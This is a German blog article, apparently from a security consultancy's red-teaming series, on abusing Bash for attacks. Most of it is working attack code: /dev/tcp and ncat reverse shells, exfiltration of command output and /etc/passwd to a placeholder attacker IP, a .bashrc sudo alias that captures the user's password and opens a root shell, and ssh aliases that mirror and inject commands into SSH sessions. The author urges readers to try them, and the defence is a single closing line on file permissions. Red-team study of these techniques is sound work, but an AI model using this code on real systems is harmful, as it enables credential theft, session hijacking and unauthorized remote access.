Ich möchte ein "Red Teaming"
Michael Schneider
So nutzen Angreifer die Bash zu ihrem Vorteil
Wenn eine Blind Injection möglich ist, kann versucht werden Daten über einen seperaten Kanal zurück zu senden:
# executed on victims machine bash -c "id &>/dev/tcp/*yourip*/*yourport*"
Hier lassen wir den id
Befehl laufen und schreiben den Output in eine spezielle Datei, die eine TCP Verbindung zur spezifizierten IP-Adresse und Port herstellt. Bevor dieser Befehl läuft, sollte die Maschine, auf die verbunden wird, bereit sein die Verbindung anzunehmen. Netcat (ncat, die ausgereiftere Implementierung des Nmap Projekt) ist eine gute Wahl:
# executed on attackers machine ncat -vvlp *port*
Mit $cr1pTK1ddi3 Verschlüsselung:
# executed on victims machine bash -c "id | base64 >/dev/tcp/*yourip*/*port*"
Mit echter Verschlüsselung (wenn Netcat auf dem Zielsystem installiert ist):
# executed on victims machine bash -c "ncat *yourip* *yourport* --ssl --sh-exec \"id\""
Wenn eine Situation mehr erfordert als das Ausführen eines simplen Befehls, kann mit einer Bash-Instanz auf dem Zielsystem interagiert werden:
# executed on victims machine bash -c "ncat *yourip* *yourport* --ssl --sh-exec \"bash\""
Grössere Payloads, die schlecht direkt injiziert werden können, sind mit der initialen Verbindung zur Remote-Shell auf dem Zielsystem stagebar. Netcat ist ein sehr praktisches Werkzeug, aber es mag vielleicht nicht auf dem Zielsystem installiert sein. Etwas in dieser Art kann Netcat in diesem Fall ersetzen:
# executed on victims machine bash -c "exec 101<>/dev/tcp/*yourip*/*port*; bash <&101 >&101 2>&1 &"
exec *file-descriptor*<>*file*
öffnet eine Datei zum Lesen und Schreiben. Wenn diese Operation auf die spezielle Datei oben angewendet wird, wird ein Socket geöffnet, der von hier an durch diesen File-Descriptor referenziert werden kann.
Danach wird eine Bash-Instanz im Hintergrund gestartet, die ihren Input vom Socket liest und ihren Output wieder in den Socket schreibt. Netcat auf unserem ausgehenden System ermöglicht die Interaktion mit der Bash Instanz:
# executed on attackers machine root@kali:~# ncat -vvlp 80 Ncat: Version 7.70 ( https://nmap.org/ncat/ ) Ncat: Listening on :::80 Ncat: Listening on 0.0.0.0:80 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:33818. uname -s Linux whoami testuser
Wie zuvor gezeigt, hat Netcat eine Option, die es erlaubt ein Shell-Kommando auszuführen, nachdem eine Verbindung hergestellt wurde. Das gibt uns die Möglichkeit, die Interaktion mit der Remote-Shell zu automatisieren, sobald sie sich verbindet.
Ein solches Script kann so aussehen:
#!/bin/bash # script is executed on the attackers machine echo "uname -s" read -r line echo "$line" >uname.out echo "whoami" read -r line echo "$line" >whoami.out
Um in diesem Kontext einen String auszugeben, wird der String über die hergestellte Verbindung zu unserer Remote-Shell geschickt. Dort wird der String von der Bash Instanz gelesen und evaluiert. Nach jedem Befehl wartet das Script mit read
auf den Resultierenden Output. Netcat verwendet das Script wie folgt:
# executed on attackers machine ncat --vvlp *listening-port* --sh-exec "./script.sh"
Eine weiterentwickelte, robustere Version des Scripts kann so aussehen:
#!/bin/bash run() { # run() echoes the command specified for the remote shell to execute, # then it echoes a second command which makes the remote shell return # a delimiter. The second command is only executed after the first has # finished, allowing us to associate all output up to the delimiter with # the first command. # # takes: # $1 command to execute. # $2 file to output to, defaults to default.log if omitted. cmd="$1" outfile="$2" # prefix commands in log for readability echo -n ">>> " >>"${outfile:=default.log}" printf "%s\n" "$cmd" | tee -a "$outfile" echo "echo -e \"\ncustomdelimiter101\"" while read -rs line do if ((${#line} > 0)) then if [[ "$line" != "customdelimiter101" ]] then printf "%s" "$line" >>"$outfile" echo >>"$outfile" else break fi else echo >>"$outfile" fi done } run whoami run "uname -s" run "cat /etc/passwd" echo "exit"
Wenn die ~/.bashrc
eines Benutzers schreibbar ist, können wir eine einfach Privilege-Escalation versuchen (vorrausgesetzt der Benutzer hat sudo-Rechte).
# executed on victims machine intercept_sudo() { E=echo S=sudo K="/dev/tcp/*yourip*/*yourport*" H="/dev/null" F=() for((C=0;C<3;C++)); do read -rsp"[$S] password for `id -nu`: " P $E;$S -S true <<<"$P" &>$H if (($?==0)); then $E "${P@Q}">$K;unalias $S $E "$1: an unknown error occured" break fi sleep 0.5 if ((C<2)); then $E Sorry, try again. else $E "$S: 3 incorrect password attempts" fi done ($S -S su -c "exec 134<>$K;bash <&134 >&134 2>&1 &" root &>$H <<<"$P") } alias sudo="intercept_sudo"
Hier wird ein Alias für sudo auf eine Funktion erstellt, die vorher definiert wird. Die ausgeführte Funktion verlangt das Passwort des Benutzers genau wie sudo. Wenn das Passwort korrekt ist, wird es der Angreifermaschine geschickt und eine Reverse-Shell mit Root-Rechten im Hintergrund gestartet. Der Befehl des Benutzers wird nicht ausgeführt, weil es eine Vielzahl an Randfällen zu bedenken gibt. Die --keep-open
Option sollte Netcat zugefügt werden, wenn dieser Code erprobt wird.
Ein sehr cooler Use-Case von bashrc-poisoning ist lokales Man-in-the-Middle einer Bash oder SSH-Session.
# executed on victims machine ssh_mitm() { #connection to the monitoring Netcat exec 43<>/dev/tcp/*yourip*/*yourport* rm /tmp/tonw 2>/dev/null mkfifo /tmp/tonw 2>/dev/null cat </tmp/tonw >&43 & bash -i -c "ssh $*" | tee -a /tmp/tonw } alias ssh=ssh_mitm
Dieses kleine Stück Code in der .bashrc
eines Benutzers erlaubt es, eine laufende SSH-Session von einer anderen Maschine über das Netzwerk zu monitoren. Es sieht ziemlich cool (und gruselig) aus, also empfehle ich es auszuprobieren; nicht vergessen den Netcat-Listener vorher zu starten. Die Schönheit dieses Ansatzes besteht darin, dass es keinerlei Manipulationen auf der Netzwerkebene gibt. Gerade bevor Daten im Terminal des Benutzers erscheinen, wird eine Kopie erstellt und über das Netzwerk versandt. Keine Fehlermeldungen, keine Warnmeldungen. Der Code wurde erfolgreich mit Public-Key und Challenge-Response Authentication mit einem PAM (in unserem Fall ein YubiKey) getestet.
Wenn wir mehr sein wollen als ein stiller Beobachter, wird es ein wenig komplizierter. Die folgende Version fügt einen weiteren Kanal hinzu, über den ein Angreifer Kommandos in die laufende SSH-Session injizieren kann.
# executed on victims machine filter() { #connection to the injecting Netcat exec 44<>/dev/tcp/*yourip*/*secondport* while :; do cat <&0 & job=$! tput cnorm read -r cmd <&44 exec 2>/dev/null kill $job echo -ne "\r" read -rs hide cat <<<"$cmd" >>/tmp/tossh exec 2>&1 done } ssh_mitm() { #connection to the monitoring Netcat exec 43<>/dev/tcp/*yourip*/*yourport* rm /tmp/tonw /tmp/tossh 2>/dev/null mkfifo /tmp/tonw 2>/dev/null mkfifo /tmp/tossh 2>/dev/null cat </tmp/tonw >&43 & bash -i -c "{ { cat /tmp/tossh & }; cat <&0; } | ssh -tt $*" | tee -a /tmp/tonw | filter } alias ssh=ssh_mitm
Der Code, den wir ursprünglich verwendet haben, bleibt gleich. Hier kombinieren wir ssh’s stdin mit dem Input-Stream, der unsere injizierten Kommandos trägt. Eine neue Filter-Stufe ist auch dem Ende der Pipeline angehängt um zu verhindern, dass unsere injizierten Kommandos im Terminal des Benutzers angezeigt werden. Die Filter-Funktion ist auch für das Empfangen der injizierten Kommandos zuständig. Dadurch wird sichergestellt, dass sie bereit ist unser Kommando abzufangen. Nachdem ein Kommando erhalten wird, schreibt die Filter-Funktion das Kommando in einen FIFO, welches weiter vorne in der Pipeline gelesen und ssh gefüttert wird. Weil der jetzige Code noch ein wenig ungeschliffen ist und nur eine Zeile filtert (die Zeile, in der unser Kommando magisch im Terminal des Benutzer erscheint), darf das injizierte Kommando keinen Output generieren.
Zur Vorbereitung der Ausführung des obigen Codes setzt der Angreifer 2 weitere Netcat Instanzen auf: Eine, um Kommandos zu injizieren (die injizierende Instanz) und eine weitere, um den Output der Injizierten Kommandos zu erhalten (die horchende Instanz). Wir spezifizieren eine Umleitung mit den injizierten Kommandos, damit sie den Output zur horchenden Netcat Instanz schicken und nicht auf stdout schreiben. Folgendes kann in die injizierende Netcat Instanz kopiert werden.
# executed on victims machine bash -c "cat /etc/passwd >/dev/tcp/*yourip*/*thirdport*"
Wenn Folgendes injiziert wird, wird eine neue Reverse-Shell auf dem System gestartet in das rein ssh’ed wurde. So wird ein unabhängiger Kommunikationskanal gesichert.
# executed on victims machine bash -c "(exec 99<>/dev/tcp/*yourip*/*thirdport*; bash <&99 >&99 2>&1 &)"
Und so, vorrausgesetzt alles läuft glatt, können wir ohne Administratorrechte eine fremde SSH-Session nutzen, um eine Shell auf einer neuen Maschine zu bekommen. Mit Bash. Ja, das ist in der Tat sehr cool.
Mit dem oben gezeigten Beispiel kann einiges schief gehen. Stabilität und der korrekte Umgang mit schwierigen Situationen wurden zu Gunsten einer kleinen Payload-Grösse weggelassen.
Eine Möglichkeit die Grösse des Payloads klein zu halten, ist das Filtern der Angriffsmaschine auszulagern:
ssh_mitm() { bash -i -c "fltr() { exec 40<>/dev/tcp/*yourip*/*yourport*; { cat <&0 >&40 & }; cat <&40; };\ fltr2() { exec 41<>/dev/tcp/*yourip*/*secondport*; { cat <&0 >&41 & }; cat <&41; };\ fltr | ssh -tt $* | fltr2" } alias ssh=ssh_mitm
Dieser Code leitet alle Benutzereingaben an das System des Angreifers weiter, wo es nach Gutdünken manipuliert werden kann.
Die modifizierten Benutzereingaben werden dann an SSH zurückgespiesen. Die SSH-Ausgaben werden ebenfalls an das System des Angreifers geschickt, um etwaige Filterungen oder Modifikationen vornehmen zu können. Zum Schluss werden die gefilterten SSH-Ausgaben entgegengenommen und im Terminal angezeigt.
Durch die Auslagerung dieses Filterung-Prozesses kann die vollständige Kontrolle über den Datenstrom gewährleistet, Filter, Modifikationen und Command Injections ohne Einfluss auf die Payload-Grösse appliziert werden. Mit diesem Ansatz wurde die Latenzzeit bei einer stabilen Netzwerkverbindung nicht auf ein verdächtiges Mass erhöht.
Bash mag vielleicht nicht die perfomanteste, schönste oder stabilste Lösung sein, aber es eignet sich gut für kleine, schnell erstellte und dynamische Payloads. Die Beispiele zeigen wie bashs vielseitige Fähigkeiten in der Manipulation von Datenströmen, auch ein Sicherheitsrisiko darstellen können. Ausserden ist chown root:usergroup ~/.bashrc; chmod 640 ~/.bashrc
vielleicht keine schlechte Idee.
Unsere Spezialisten kontaktieren Sie gern!
Michael Schneider
Marisa Tschopp
Michèle Trebo
Andrea Covello
Unsere Spezialisten kontaktieren Sie gern!